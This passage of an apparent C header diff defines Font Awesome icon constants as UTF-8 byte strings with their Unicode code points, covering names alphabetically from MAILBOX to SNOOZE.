U+f674 +#define ICON_FA_MAILBOX "\xef\xa0\x93" // U+f813 +#define ICON_FA_MALE "\xef\x86\x83" // U+f183 +#define ICON_FA_MANDOLIN "\xef\x9b\xb9" // U+f6f9 +#define ICON_FA_MAP "\xef\x89\xb9" // U+f279 +#define ICON_FA_MAP_MARKED "\xef\x96\x9f" // U+f59f +#define ICON_FA_MAP_MARKED_ALT "\xef\x96\xa0" // U+f5a0 +#define ICON_FA_MAP_MARKER "\xef\x81\x81" // U+f041 +#define ICON_FA_MAP_MARKER_ALT "\xef\x8f\x85" // U+f3c5 +#define ICON_FA_MAP_MARKER_ALT_SLASH "\xef\x98\x85" // U+f605 +#define ICON_FA_MAP_MARKER_CHECK "\xef\x98\x86" // U+f606 +#define ICON_FA_MAP_MARKER_EDIT "\xef\x98\x87" // U+f607 +#define ICON_FA_MAP_MARKER_EXCLAMATION "\xef\x98\x88" // U+f608 +#define ICON_FA_MAP_MARKER_MINUS "\xef\x98\x89" // U+f609 +#define ICON_FA_MAP_MARKER_PLUS "\xef\x98\x8a" // U+f60a +#define ICON_FA_MAP_MARKER_QUESTION "\xef\x98\x8b" // U+f60b +#define ICON_FA_MAP_MARKER_SLASH "\xef\x98\x8c" // U+f60c +#define ICON_FA_MAP_MARKER_SMILE "\xef\x98\x8d" // U+f60d +#define ICON_FA_MAP_MARKER_TIMES "\xef\x98\x8e" // U+f60e +#define ICON_FA_MAP_PIN "\xef\x89\xb6" // U+f276 +#define ICON_FA_MAP_SIGNS "\xef\x89\xb7" // U+f277 +#define ICON_FA_MARKER "\xef\x96\xa1" // U+f5a1 +#define ICON_FA_MARS "\xef\x88\xa2" // U+f222 +#define ICON_FA_MARS_DOUBLE "\xef\x88\xa7" // U+f227 +#define ICON_FA_MARS_STROKE "\xef\x88\xa9" // U+f229 +#define ICON_FA_MARS_STROKE_H "\xef\x88\xab" // U+f22b +#define ICON_FA_MARS_STROKE_V "\xef\x88\xaa" // U+f22a +#define ICON_FA_MASK "\xef\x9b\xba" // U+f6fa +#define ICON_FA_MEAT "\xef\xa0\x94" // U+f814 +#define ICON_FA_MEDAL "\xef\x96\xa2" // U+f5a2 +#define ICON_FA_MEDKIT "\xef\x83\xba" // U+f0fa +#define ICON_FA_MEGAPHONE "\xef\x99\xb5" // U+f675 +#define ICON_FA_MEH "\xef\x84\x9a" // U+f11a +#define ICON_FA_MEH_BLANK "\xef\x96\xa4" // U+f5a4 +#define ICON_FA_MEH_ROLLING_EYES "\xef\x96\xa5" // U+f5a5 +#define ICON_FA_MEMORY "\xef\x94\xb8" // U+f538 +#define ICON_FA_MENORAH "\xef\x99\xb6" // U+f676 +#define ICON_FA_MERCURY "\xef\x88\xa3" // U+f223 +#define ICON_FA_METEOR "\xef\x9d\x93" // U+f753 +#define ICON_FA_MICROCHIP "\xef\x8b\x9b" // U+f2db +#define ICON_FA_MICROPHONE "\xef\x84\xb0" // U+f130 +#define ICON_FA_MICROPHONE_ALT "\xef\x8f\x89" // U+f3c9 +#define ICON_FA_MICROPHONE_ALT_SLASH "\xef\x94\xb9" // U+f539 +#define ICON_FA_MICROPHONE_SLASH "\xef\x84\xb1" // U+f131 +#define ICON_FA_MICROPHONE_STAND "\xef\xa3\x8b" // U+f8cb +#define ICON_FA_MICROSCOPE "\xef\x98\x90" // U+f610 +#define ICON_FA_MICROWAVE "\xee\x80\x9b" // U+e01b +#define ICON_FA_MIND_SHARE "\xef\x99\xb7" // U+f677 +#define ICON_FA_MINUS "\xef\x81\xa8" // U+f068 +#define ICON_FA_MINUS_CIRCLE "\xef\x81\x96" // U+f056 +#define ICON_FA_MINUS_HEXAGON "\xef\x8c\x87" // U+f307 +#define ICON_FA_MINUS_OCTAGON "\xef\x8c\x88" // U+f308 +#define ICON_FA_MINUS_SQUARE "\xef\x85\x86" // U+f146 +#define ICON_FA_MISTLETOE "\xef\x9e\xb4" // U+f7b4 +#define ICON_FA_MITTEN "\xef\x9e\xb5" // U+f7b5 +#define ICON_FA_MOBILE "\xef\x84\x8b" // U+f10b +#define ICON_FA_MOBILE_ALT "\xef\x8f\x8d" // U+f3cd +#define ICON_FA_MOBILE_ANDROID "\xef\x8f\x8e" // U+f3ce +#define ICON_FA_MOBILE_ANDROID_ALT "\xef\x8f\x8f" // U+f3cf +#define ICON_FA_MONEY_BILL "\xef\x83\x96" // U+f0d6 +#define ICON_FA_MONEY_BILL_ALT "\xef\x8f\x91" // U+f3d1 +#define ICON_FA_MONEY_BILL_WAVE "\xef\x94\xba" // U+f53a +#define ICON_FA_MONEY_BILL_WAVE_ALT "\xef\x94\xbb" // U+f53b +#define ICON_FA_MONEY_CHECK "\xef\x94\xbc" // U+f53c +#define ICON_FA_MONEY_CHECK_ALT "\xef\x94\xbd" // U+f53d +#define ICON_FA_MONEY_CHECK_EDIT "\xef\xa1\xb2" // U+f872 +#define ICON_FA_MONEY_CHECK_EDIT_ALT "\xef\xa1\xb3" // U+f873 +#define ICON_FA_MONITOR_HEART_RATE "\xef\x98\x91" // U+f611 +#define ICON_FA_MONKEY "\xef\x9b\xbb" // U+f6fb +#define ICON_FA_MONUMENT "\xef\x96\xa6" // U+f5a6 +#define ICON_FA_MOON "\xef\x86\x86" // U+f186 +#define ICON_FA_MOON_CLOUD "\xef\x9d\x94" // U+f754 +#define ICON_FA_MOON_STARS "\xef\x9d\x95" // U+f755 +#define ICON_FA_MORTAR_PESTLE "\xef\x96\xa7" // U+f5a7 +#define ICON_FA_MOSQUE "\xef\x99\xb8" // U+f678 +#define ICON_FA_MOTORCYCLE "\xef\x88\x9c" // U+f21c +#define ICON_FA_MOUNTAIN "\xef\x9b\xbc" // U+f6fc +#define ICON_FA_MOUNTAINS "\xef\x9b\xbd" // U+f6fd +#define ICON_FA_MOUSE "\xef\xa3\x8c" // U+f8cc +#define ICON_FA_MOUSE_ALT "\xef\xa3\x8d" // U+f8cd +#define ICON_FA_MOUSE_POINTER "\xef\x89\x85" // U+f245 +#define ICON_FA_MP3_PLAYER "\xef\xa3\x8e" // U+f8ce +#define ICON_FA_MUG "\xef\xa1\xb4" // U+f874 +#define ICON_FA_MUG_HOT "\xef\x9e\xb6" // U+f7b6 +#define ICON_FA_MUG_MARSHMALLOWS "\xef\x9e\xb7" // U+f7b7 +#define ICON_FA_MUG_TEA "\xef\xa1\xb5" // U+f875 +#define ICON_FA_MUSIC "\xef\x80\x81" // U+f001 +#define ICON_FA_MUSIC_ALT "\xef\xa3\x8f" // U+f8cf +#define ICON_FA_MUSIC_ALT_SLASH "\xef\xa3\x90" // U+f8d0 +#define ICON_FA_MUSIC_SLASH "\xef\xa3\x91" // U+f8d1 +#define ICON_FA_NARWHAL "\xef\x9b\xbe" // U+f6fe +#define ICON_FA_NETWORK_WIRED "\xef\x9b\xbf" // U+f6ff +#define ICON_FA_NEUTER "\xef\x88\xac" // U+f22c +#define ICON_FA_NEWSPAPER "\xef\x87\xaa" // U+f1ea +#define ICON_FA_NOT_EQUAL "\xef\x94\xbe" // U+f53e +#define ICON_FA_NOTES_MEDICAL "\xef\x92\x81" // U+f481 +#define ICON_FA_OBJECT_GROUP "\xef\x89\x87" // U+f247 +#define ICON_FA_OBJECT_UNGROUP "\xef\x89\x88" // U+f248 +#define ICON_FA_OCTAGON "\xef\x8c\x86" // U+f306 +#define ICON_FA_OIL_CAN "\xef\x98\x93" // U+f613 +#define ICON_FA_OIL_TEMP "\xef\x98\x94" // U+f614 +#define ICON_FA_OM "\xef\x99\xb9" // U+f679 +#define ICON_FA_OMEGA "\xef\x99\xba" // U+f67a +#define ICON_FA_ORNAMENT "\xef\x9e\xb8" // U+f7b8 +#define ICON_FA_OTTER "\xef\x9c\x80" // U+f700 +#define ICON_FA_OUTDENT "\xef\x80\xbb" // U+f03b +#define ICON_FA_OUTLET "\xee\x80\x9c" // U+e01c +#define ICON_FA_OVEN "\xee\x80\x9d" // U+e01d +#define ICON_FA_OVERLINE "\xef\xa1\xb6" // U+f876 +#define ICON_FA_PAGE_BREAK "\xef\xa1\xb7" // U+f877 +#define ICON_FA_PAGER "\xef\xa0\x95" // U+f815 +#define ICON_FA_PAINT_BRUSH "\xef\x87\xbc" // U+f1fc +#define ICON_FA_PAINT_BRUSH_ALT "\xef\x96\xa9" // U+f5a9 +#define ICON_FA_PAINT_ROLLER "\xef\x96\xaa" // U+f5aa +#define ICON_FA_PALETTE "\xef\x94\xbf" // U+f53f +#define ICON_FA_PALLET "\xef\x92\x82" // U+f482 +#define ICON_FA_PALLET_ALT "\xef\x92\x83" // U+f483 +#define ICON_FA_PAPER_PLANE "\xef\x87\x98" // U+f1d8 +#define ICON_FA_PAPERCLIP "\xef\x83\x86" // U+f0c6 +#define ICON_FA_PARACHUTE_BOX "\xef\x93\x8d" // U+f4cd +#define ICON_FA_PARAGRAPH "\xef\x87\x9d" // U+f1dd +#define ICON_FA_PARAGRAPH_RTL "\xef\xa1\xb8" // U+f878 +#define ICON_FA_PARKING "\xef\x95\x80" // U+f540 +#define ICON_FA_PARKING_CIRCLE "\xef\x98\x95" // U+f615 +#define ICON_FA_PARKING_CIRCLE_SLASH "\xef\x98\x96" // U+f616 +#define ICON_FA_PARKING_SLASH "\xef\x98\x97" // U+f617 +#define ICON_FA_PASSPORT "\xef\x96\xab" // U+f5ab +#define ICON_FA_PASTAFARIANISM "\xef\x99\xbb" // U+f67b +#define ICON_FA_PASTE "\xef\x83\xaa" // U+f0ea +#define ICON_FA_PAUSE "\xef\x81\x8c" // U+f04c +#define ICON_FA_PAUSE_CIRCLE "\xef\x8a\x8b" // U+f28b +#define ICON_FA_PAW "\xef\x86\xb0" // U+f1b0 +#define ICON_FA_PAW_ALT "\xef\x9c\x81" // U+f701 +#define ICON_FA_PAW_CLAWS "\xef\x9c\x82" // U+f702 +#define ICON_FA_PEACE "\xef\x99\xbc" // U+f67c +#define ICON_FA_PEGASUS "\xef\x9c\x83" // U+f703 +#define ICON_FA_PEN "\xef\x8c\x84" // U+f304 +#define ICON_FA_PEN_ALT "\xef\x8c\x85" // U+f305 +#define ICON_FA_PEN_FANCY "\xef\x96\xac" // U+f5ac +#define ICON_FA_PEN_NIB "\xef\x96\xad" // U+f5ad +#define ICON_FA_PEN_SQUARE "\xef\x85\x8b" // U+f14b +#define ICON_FA_PENCIL "\xef\x81\x80" // U+f040 +#define ICON_FA_PENCIL_ALT "\xef\x8c\x83" // U+f303 +#define ICON_FA_PENCIL_PAINTBRUSH "\xef\x98\x98" // U+f618 +#define ICON_FA_PENCIL_RULER "\xef\x96\xae" // U+f5ae +#define ICON_FA_PENNANT "\xef\x91\x96" // U+f456 +#define ICON_FA_PEOPLE_ARROWS "\xee\x81\xa8" // U+e068 +#define ICON_FA_PEOPLE_CARRY "\xef\x93\x8e" // U+f4ce +#define ICON_FA_PEPPER_HOT "\xef\xa0\x96" // U+f816 +#define ICON_FA_PERCENT "\xef\x8a\x95" // U+f295 +#define ICON_FA_PERCENTAGE "\xef\x95\x81" // U+f541 +#define ICON_FA_PERSON_BOOTH "\xef\x9d\x96" // U+f756 +#define ICON_FA_PERSON_CARRY "\xef\x93\x8f" // U+f4cf +#define ICON_FA_PERSON_DOLLY "\xef\x93\x90" // U+f4d0 +#define ICON_FA_PERSON_DOLLY_EMPTY "\xef\x93\x91" // U+f4d1 +#define ICON_FA_PERSON_SIGN "\xef\x9d\x97" // U+f757 +#define ICON_FA_PHONE "\xef\x82\x95" // U+f095 +#define ICON_FA_PHONE_ALT "\xef\xa1\xb9" // U+f879 +#define ICON_FA_PHONE_LAPTOP "\xef\xa1\xba" // U+f87a +#define ICON_FA_PHONE_OFFICE "\xef\x99\xbd" // U+f67d +#define ICON_FA_PHONE_PLUS "\xef\x93\x92" // U+f4d2 +#define ICON_FA_PHONE_ROTARY "\xef\xa3\x93" // U+f8d3 +#define ICON_FA_PHONE_SLASH "\xef\x8f\x9d" // U+f3dd +#define ICON_FA_PHONE_SQUARE "\xef\x82\x98" // U+f098 +#define ICON_FA_PHONE_SQUARE_ALT "\xef\xa1\xbb" // U+f87b +#define ICON_FA_PHONE_VOLUME "\xef\x8a\xa0" // U+f2a0 +#define ICON_FA_PHOTO_VIDEO "\xef\xa1\xbc" // U+f87c +#define ICON_FA_PI "\xef\x99\xbe" // U+f67e +#define ICON_FA_PIANO "\xef\xa3\x94" // U+f8d4 +#define ICON_FA_PIANO_KEYBOARD "\xef\xa3\x95" // U+f8d5 +#define ICON_FA_PIE "\xef\x9c\x85" // U+f705 +#define ICON_FA_PIG "\xef\x9c\x86" // U+f706 +#define ICON_FA_PIGGY_BANK "\xef\x93\x93" // U+f4d3 +#define ICON_FA_PILLS "\xef\x92\x84" // U+f484 +#define ICON_FA_PIZZA "\xef\xa0\x97" // U+f817 +#define ICON_FA_PIZZA_SLICE "\xef\xa0\x98" // U+f818 +#define ICON_FA_PLACE_OF_WORSHIP "\xef\x99\xbf" // U+f67f +#define ICON_FA_PLANE "\xef\x81\xb2" // U+f072 +#define ICON_FA_PLANE_ALT "\xef\x8f\x9e" // U+f3de +#define ICON_FA_PLANE_ARRIVAL "\xef\x96\xaf" // U+f5af +#define ICON_FA_PLANE_DEPARTURE "\xef\x96\xb0" // U+f5b0 +#define ICON_FA_PLANE_SLASH "\xee\x81\xa9" // U+e069 +#define ICON_FA_PLANET_MOON "\xee\x80\x9f" // U+e01f +#define ICON_FA_PLANET_RINGED "\xee\x80\xa0" // U+e020 +#define ICON_FA_PLAY "\xef\x81\x8b" // U+f04b +#define ICON_FA_PLAY_CIRCLE "\xef\x85\x84" // U+f144 +#define ICON_FA_PLUG "\xef\x87\xa6" // U+f1e6 +#define ICON_FA_PLUS "\xef\x81\xa7" // U+f067 +#define ICON_FA_PLUS_CIRCLE "\xef\x81\x95" // U+f055 +#define ICON_FA_PLUS_HEXAGON "\xef\x8c\x80" // U+f300 +#define ICON_FA_PLUS_OCTAGON "\xef\x8c\x81" // U+f301 +#define ICON_FA_PLUS_SQUARE "\xef\x83\xbe" // U+f0fe +#define ICON_FA_PODCAST "\xef\x8b\x8e" // U+f2ce +#define ICON_FA_PODIUM "\xef\x9a\x80" // U+f680 +#define ICON_FA_PODIUM_STAR "\xef\x9d\x98" // U+f758 +#define ICON_FA_POLICE_BOX "\xee\x80\xa1" // U+e021 +#define ICON_FA_POLL "\xef\x9a\x81" // U+f681 +#define ICON_FA_POLL_H "\xef\x9a\x82" // U+f682 +#define ICON_FA_POLL_PEOPLE "\xef\x9d\x99" // U+f759 +#define ICON_FA_POO "\xef\x8b\xbe" // U+f2fe +#define ICON_FA_POO_STORM "\xef\x9d\x9a" // U+f75a +#define ICON_FA_POOP "\xef\x98\x99" // U+f619 +#define ICON_FA_POPCORN "\xef\xa0\x99" // U+f819 +#define ICON_FA_PORTAL_ENTER "\xee\x80\xa2" // U+e022 +#define ICON_FA_PORTAL_EXIT "\xee\x80\xa3" // U+e023 +#define ICON_FA_PORTRAIT "\xef\x8f\xa0" // U+f3e0 +#define ICON_FA_POUND_SIGN "\xef\x85\x94" // U+f154 +#define ICON_FA_POWER_OFF "\xef\x80\x91" // U+f011 +#define ICON_FA_PRAY "\xef\x9a\x83" // U+f683 +#define ICON_FA_PRAYING_HANDS "\xef\x9a\x84" // U+f684 +#define ICON_FA_PRESCRIPTION "\xef\x96\xb1" // U+f5b1 +#define ICON_FA_PRESCRIPTION_BOTTLE "\xef\x92\x85" // U+f485 +#define ICON_FA_PRESCRIPTION_BOTTLE_ALT "\xef\x92\x86" // U+f486 +#define ICON_FA_PRESENTATION "\xef\x9a\x85" // U+f685 +#define ICON_FA_PRINT "\xef\x80\xaf" // U+f02f +#define ICON_FA_PRINT_SEARCH "\xef\xa0\x9a" // U+f81a +#define ICON_FA_PRINT_SLASH "\xef\x9a\x86" // U+f686 +#define ICON_FA_PROCEDURES "\xef\x92\x87" // U+f487 +#define ICON_FA_PROJECT_DIAGRAM "\xef\x95\x82" // U+f542 +#define ICON_FA_PROJECTOR "\xef\xa3\x96" // U+f8d6 +#define ICON_FA_PUMP_MEDICAL "\xee\x81\xaa" // U+e06a +#define ICON_FA_PUMP_SOAP "\xee\x81\xab" // U+e06b +#define ICON_FA_PUMPKIN "\xef\x9c\x87" // U+f707 +#define ICON_FA_PUZZLE_PIECE "\xef\x84\xae" // U+f12e +#define ICON_FA_QRCODE "\xef\x80\xa9" // U+f029 +#define ICON_FA_QUESTION "\xef\x84\xa8" // U+f128 +#define ICON_FA_QUESTION_CIRCLE "\xef\x81\x99" // U+f059 +#define ICON_FA_QUESTION_SQUARE "\xef\x8b\xbd" // U+f2fd +#define ICON_FA_QUIDDITCH "\xef\x91\x98" // U+f458 +#define ICON_FA_QUOTE_LEFT "\xef\x84\x8d" // U+f10d +#define ICON_FA_QUOTE_RIGHT "\xef\x84\x8e" // U+f10e +#define ICON_FA_QURAN "\xef\x9a\x87" // U+f687 +#define ICON_FA_RABBIT "\xef\x9c\x88" // U+f708 +#define ICON_FA_RABBIT_FAST "\xef\x9c\x89" // U+f709 +#define ICON_FA_RACQUET "\xef\x91\x9a" // U+f45a +#define ICON_FA_RADAR "\xee\x80\xa4" // U+e024 +#define ICON_FA_RADIATION "\xef\x9e\xb9" // U+f7b9 +#define ICON_FA_RADIATION_ALT "\xef\x9e\xba" // U+f7ba +#define ICON_FA_RADIO "\xef\xa3\x97" // U+f8d7 +#define ICON_FA_RADIO_ALT "\xef\xa3\x98" // U+f8d8 +#define ICON_FA_RAINBOW "\xef\x9d\x9b" // U+f75b +#define ICON_FA_RAINDROPS "\xef\x9d\x9c" // U+f75c +#define ICON_FA_RAM "\xef\x9c\x8a" // U+f70a +#define ICON_FA_RAMP_LOADING "\xef\x93\x94" // U+f4d4 +#define ICON_FA_RANDOM "\xef\x81\xb4" // U+f074 +#define ICON_FA_RAYGUN "\xee\x80\xa5" // U+e025 +#define ICON_FA_RECEIPT "\xef\x95\x83" // U+f543 +#define ICON_FA_RECORD_VINYL "\xef\xa3\x99" // U+f8d9 +#define ICON_FA_RECTANGLE_LANDSCAPE "\xef\x8b\xba" // U+f2fa +#define ICON_FA_RECTANGLE_PORTRAIT "\xef\x8b\xbb" // U+f2fb +#define ICON_FA_RECTANGLE_WIDE "\xef\x8b\xbc" // U+f2fc +#define ICON_FA_RECYCLE "\xef\x86\xb8" // U+f1b8 +#define ICON_FA_REDO "\xef\x80\x9e" // U+f01e +#define ICON_FA_REDO_ALT "\xef\x8b\xb9" // U+f2f9 +#define ICON_FA_REFRIGERATOR "\xee\x80\xa6" // U+e026 +#define ICON_FA_REGISTERED "\xef\x89\x9d" // U+f25d +#define ICON_FA_REMOVE_FORMAT "\xef\xa1\xbd" // U+f87d +#define ICON_FA_REPEAT "\xef\x8d\xa3" // U+f363 +#define ICON_FA_REPEAT_1 "\xef\x8d\xa5" // U+f365 +#define ICON_FA_REPEAT_1_ALT "\xef\x8d\xa6" // U+f366 +#define ICON_FA_REPEAT_ALT "\xef\x8d\xa4" // U+f364 +#define ICON_FA_REPLY "\xef\x8f\xa5" // U+f3e5 +#define ICON_FA_REPLY_ALL "\xef\x84\xa2" // U+f122 +#define ICON_FA_REPUBLICAN "\xef\x9d\x9e" // U+f75e +#define ICON_FA_RESTROOM "\xef\x9e\xbd" // U+f7bd +#define ICON_FA_RETWEET "\xef\x81\xb9" // U+f079 +#define ICON_FA_RETWEET_ALT "\xef\x8d\xa1" // U+f361 +#define ICON_FA_RIBBON "\xef\x93\x96" // U+f4d6 +#define ICON_FA_RING "\xef\x9c\x8b" // U+f70b +#define ICON_FA_RINGS_WEDDING "\xef\xa0\x9b" // U+f81b +#define ICON_FA_ROAD "\xef\x80\x98" // U+f018 +#define ICON_FA_ROBOT "\xef\x95\x84" // U+f544 +#define ICON_FA_ROCKET "\xef\x84\xb5" // U+f135 +#define ICON_FA_ROCKET_LAUNCH "\xee\x80\xa7" // U+e027 +#define ICON_FA_ROUTE "\xef\x93\x97" // U+f4d7 +#define ICON_FA_ROUTE_HIGHWAY "\xef\x98\x9a" // U+f61a +#define ICON_FA_ROUTE_INTERSTATE "\xef\x98\x9b" // U+f61b +#define ICON_FA_ROUTER "\xef\xa3\x9a" // U+f8da +#define ICON_FA_RSS "\xef\x82\x9e" // U+f09e +#define ICON_FA_RSS_SQUARE "\xef\x85\x83" // U+f143 +#define ICON_FA_RUBLE_SIGN "\xef\x85\x98" // U+f158 +#define ICON_FA_RULER "\xef\x95\x85" // U+f545 +#define ICON_FA_RULER_COMBINED "\xef\x95\x86" // U+f546 +#define ICON_FA_RULER_HORIZONTAL "\xef\x95\x87" // U+f547 +#define ICON_FA_RULER_TRIANGLE "\xef\x98\x9c" // U+f61c +#define ICON_FA_RULER_VERTICAL "\xef\x95\x88" // U+f548 +#define ICON_FA_RUNNING "\xef\x9c\x8c" // U+f70c +#define ICON_FA_RUPEE_SIGN "\xef\x85\x96" // U+f156 +#define ICON_FA_RV "\xef\x9e\xbe" // U+f7be +#define ICON_FA_SACK "\xef\xa0\x9c" // U+f81c +#define ICON_FA_SACK_DOLLAR "\xef\xa0\x9d" // U+f81d +#define ICON_FA_SAD_CRY "\xef\x96\xb3" // U+f5b3 +#define ICON_FA_SAD_TEAR "\xef\x96\xb4" // U+f5b4 +#define ICON_FA_SALAD "\xef\xa0\x9e" // U+f81e +#define ICON_FA_SANDWICH "\xef\xa0\x9f" // U+f81f +#define ICON_FA_SATELLITE "\xef\x9e\xbf" // U+f7bf +#define ICON_FA_SATELLITE_DISH "\xef\x9f\x80" // U+f7c0 +#define ICON_FA_SAUSAGE "\xef\xa0\xa0" // U+f820 +#define ICON_FA_SAVE "\xef\x83\x87" // U+f0c7 +#define ICON_FA_SAX_HOT "\xef\xa3\x9b" // U+f8db +#define ICON_FA_SAXOPHONE "\xef\xa3\x9c" // U+f8dc +#define ICON_FA_SCALPEL "\xef\x98\x9d" // U+f61d +#define ICON_FA_SCALPEL_PATH "\xef\x98\x9e" // U+f61e +#define ICON_FA_SCANNER "\xef\x92\x88" // U+f488 +#define ICON_FA_SCANNER_IMAGE "\xef\xa3\xb3" // U+f8f3 +#define ICON_FA_SCANNER_KEYBOARD "\xef\x92\x89" // U+f489 +#define ICON_FA_SCANNER_TOUCHSCREEN "\xef\x92\x8a" // U+f48a +#define ICON_FA_SCARECROW "\xef\x9c\x8d" // U+f70d +#define ICON_FA_SCARF "\xef\x9f\x81" // U+f7c1 +#define ICON_FA_SCHOOL "\xef\x95\x89" // U+f549 +#define ICON_FA_SCREWDRIVER "\xef\x95\x8a" // U+f54a +#define ICON_FA_SCROLL "\xef\x9c\x8e" // U+f70e +#define ICON_FA_SCROLL_OLD "\xef\x9c\x8f" // U+f70f +#define ICON_FA_SCRUBBER "\xef\x8b\xb8" // U+f2f8 +#define ICON_FA_SCYTHE "\xef\x9c\x90" // U+f710 +#define ICON_FA_SD_CARD "\xef\x9f\x82" // U+f7c2 +#define ICON_FA_SEARCH "\xef\x80\x82" // U+f002 +#define ICON_FA_SEARCH_DOLLAR "\xef\x9a\x88" // U+f688 +#define ICON_FA_SEARCH_LOCATION "\xef\x9a\x89" // U+f689 +#define ICON_FA_SEARCH_MINUS "\xef\x80\x90" // U+f010 +#define ICON_FA_SEARCH_PLUS "\xef\x80\x8e" // U+f00e +#define ICON_FA_SEEDLING "\xef\x93\x98" // U+f4d8 +#define ICON_FA_SEND_BACK "\xef\xa1\xbe" // U+f87e +#define ICON_FA_SEND_BACKWARD "\xef\xa1\xbf" // U+f87f +#define ICON_FA_SENSOR "\xee\x80\xa8" // U+e028 +#define ICON_FA_SENSOR_ALERT "\xee\x80\xa9" // U+e029 +#define ICON_FA_SENSOR_FIRE "\xee\x80\xaa" // U+e02a +#define ICON_FA_SENSOR_ON "\xee\x80\xab" // U+e02b +#define ICON_FA_SENSOR_SMOKE "\xee\x80\xac" // U+e02c +#define ICON_FA_SERVER "\xef\x88\xb3" // U+f233 +#define ICON_FA_SHAPES "\xef\x98\x9f" // U+f61f +#define ICON_FA_SHARE "\xef\x81\xa4" // U+f064 +#define ICON_FA_SHARE_ALL "\xef\x8d\xa7" // U+f367 +#define ICON_FA_SHARE_ALT "\xef\x87\xa0" // U+f1e0 +#define ICON_FA_SHARE_ALT_SQUARE "\xef\x87\xa1" // U+f1e1 +#define ICON_FA_SHARE_SQUARE "\xef\x85\x8d" // U+f14d +#define ICON_FA_SHEEP "\xef\x9c\x91" // U+f711 +#define ICON_FA_SHEKEL_SIGN "\xef\x88\x8b" // U+f20b +#define ICON_FA_SHIELD "\xef\x84\xb2" // U+f132 +#define ICON_FA_SHIELD_ALT "\xef\x8f\xad" // U+f3ed +#define ICON_FA_SHIELD_CHECK "\xef\x8b\xb7" // U+f2f7 +#define ICON_FA_SHIELD_CROSS "\xef\x9c\x92" // U+f712 +#define ICON_FA_SHIELD_VIRUS "\xee\x81\xac" // U+e06c +#define ICON_FA_SHIP "\xef\x88\x9a" // U+f21a +#define ICON_FA_SHIPPING_FAST "\xef\x92\x8b" // U+f48b +#define ICON_FA_SHIPPING_TIMED "\xef\x92\x8c" // U+f48c +#define ICON_FA_SHISH_KEBAB "\xef\xa0\xa1" // U+f821 +#define ICON_FA_SHOE_PRINTS "\xef\x95\x8b" // U+f54b +#define ICON_FA_SHOPPING_BAG "\xef\x8a\x90" // U+f290 +#define ICON_FA_SHOPPING_BASKET "\xef\x8a\x91" // U+f291 +#define ICON_FA_SHOPPING_CART "\xef\x81\xba" // U+f07a +#define ICON_FA_SHOVEL "\xef\x9c\x93" // U+f713 +#define ICON_FA_SHOVEL_SNOW "\xef\x9f\x83" // U+f7c3 +#define ICON_FA_SHOWER "\xef\x8b\x8c" // U+f2cc +#define ICON_FA_SHREDDER "\xef\x9a\x8a" // U+f68a +#define ICON_FA_SHUTTLE_VAN "\xef\x96\xb6" // U+f5b6 +#define ICON_FA_SHUTTLECOCK "\xef\x91\x9b" // U+f45b +#define ICON_FA_SICKLE "\xef\xa0\xa2" // U+f822 +#define ICON_FA_SIGMA "\xef\x9a\x8b" // U+f68b +#define ICON_FA_SIGN "\xef\x93\x99" // U+f4d9 +#define ICON_FA_SIGN_IN "\xef\x82\x90" // U+f090 +#define ICON_FA_SIGN_IN_ALT "\xef\x8b\xb6" // U+f2f6 +#define ICON_FA_SIGN_LANGUAGE "\xef\x8a\xa7" // U+f2a7 +#define ICON_FA_SIGN_OUT "\xef\x82\x8b" // U+f08b +#define ICON_FA_SIGN_OUT_ALT "\xef\x8b\xb5" // U+f2f5 +#define ICON_FA_SIGNAL "\xef\x80\x92" // U+f012 +#define ICON_FA_SIGNAL_1 "\xef\x9a\x8c" // U+f68c +#define ICON_FA_SIGNAL_2 "\xef\x9a\x8d" // U+f68d +#define ICON_FA_SIGNAL_3 "\xef\x9a\x8e" // U+f68e +#define ICON_FA_SIGNAL_4 "\xef\x9a\x8f" // U+f68f +#define ICON_FA_SIGNAL_ALT "\xef\x9a\x90" // U+f690 +#define ICON_FA_SIGNAL_ALT_1 "\xef\x9a\x91" // U+f691 +#define ICON_FA_SIGNAL_ALT_2 "\xef\x9a\x92" // U+f692 +#define ICON_FA_SIGNAL_ALT_3 "\xef\x9a\x93" // U+f693 +#define ICON_FA_SIGNAL_ALT_SLASH "\xef\x9a\x94" // U+f694 +#define ICON_FA_SIGNAL_SLASH "\xef\x9a\x95" // U+f695 +#define ICON_FA_SIGNAL_STREAM "\xef\xa3\x9d" // U+f8dd +#define ICON_FA_SIGNATURE "\xef\x96\xb7" // U+f5b7 +#define ICON_FA_SIM_CARD "\xef\x9f\x84" // U+f7c4 +#define ICON_FA_SINK "\xee\x81\xad" // U+e06d +#define ICON_FA_SIREN "\xee\x80\xad" // U+e02d +#define ICON_FA_SIREN_ON "\xee\x80\xae" // U+e02e +#define ICON_FA_SITEMAP "\xef\x83\xa8" // U+f0e8 +#define ICON_FA_SKATING "\xef\x9f\x85" // U+f7c5 +#define ICON_FA_SKELETON "\xef\x98\xa0" // U+f620 +#define ICON_FA_SKI_JUMP "\xef\x9f\x87" // U+f7c7 +#define ICON_FA_SKI_LIFT "\xef\x9f\x88" // U+f7c8 +#define ICON_FA_SKIING "\xef\x9f\x89" // U+f7c9 +#define ICON_FA_SKIING_NORDIC "\xef\x9f\x8a" // U+f7ca +#define ICON_FA_SKULL "\xef\x95\x8c" // U+f54c +#define ICON_FA_SKULL_COW "\xef\xa3\x9e" // U+f8de +#define ICON_FA_SKULL_CROSSBONES "\xef\x9c\x94" // U+f714 +#define ICON_FA_SLASH "\xef\x9c\x95" // U+f715 +#define ICON_FA_SLEDDING "\xef\x9f\x8b" // U+f7cb +#define ICON_FA_SLEIGH "\xef\x9f\x8c" // U+f7cc +#define ICON_FA_SLIDERS_H "\xef\x87\x9e" // U+f1de +#define ICON_FA_SLIDERS_H_SQUARE "\xef\x8f\xb0" // U+f3f0 +#define ICON_FA_SLIDERS_V "\xef\x8f\xb1" // U+f3f1 +#define ICON_FA_SLIDERS_V_SQUARE "\xef\x8f\xb2" // U+f3f2 +#define ICON_FA_SMILE "\xef\x84\x98" // U+f118 +#define ICON_FA_SMILE_BEAM "\xef\x96\xb8" // U+f5b8 +#define ICON_FA_SMILE_PLUS "\xef\x96\xb9" // U+f5b9 +#define ICON_FA_SMILE_WINK "\xef\x93\x9a" // U+f4da +#define ICON_FA_SMOG "\xef\x9d\x9f" // U+f75f +#define ICON_FA_SMOKE "\xef\x9d\xa0" // U+f760 +#define ICON_FA_SMOKING "\xef\x92\x8d" // U+f48d +#define ICON_FA_SMOKING_BAN "\xef\x95\x8d" // U+f54d +#define ICON_FA_SMS "\xef\x9f\x8d" // U+f7cd +#define ICON_FA_SNAKE "\xef\x9c\x96" // U+f716 +#define ICON_FA_SNOOZE "\xef\xa2\x80" 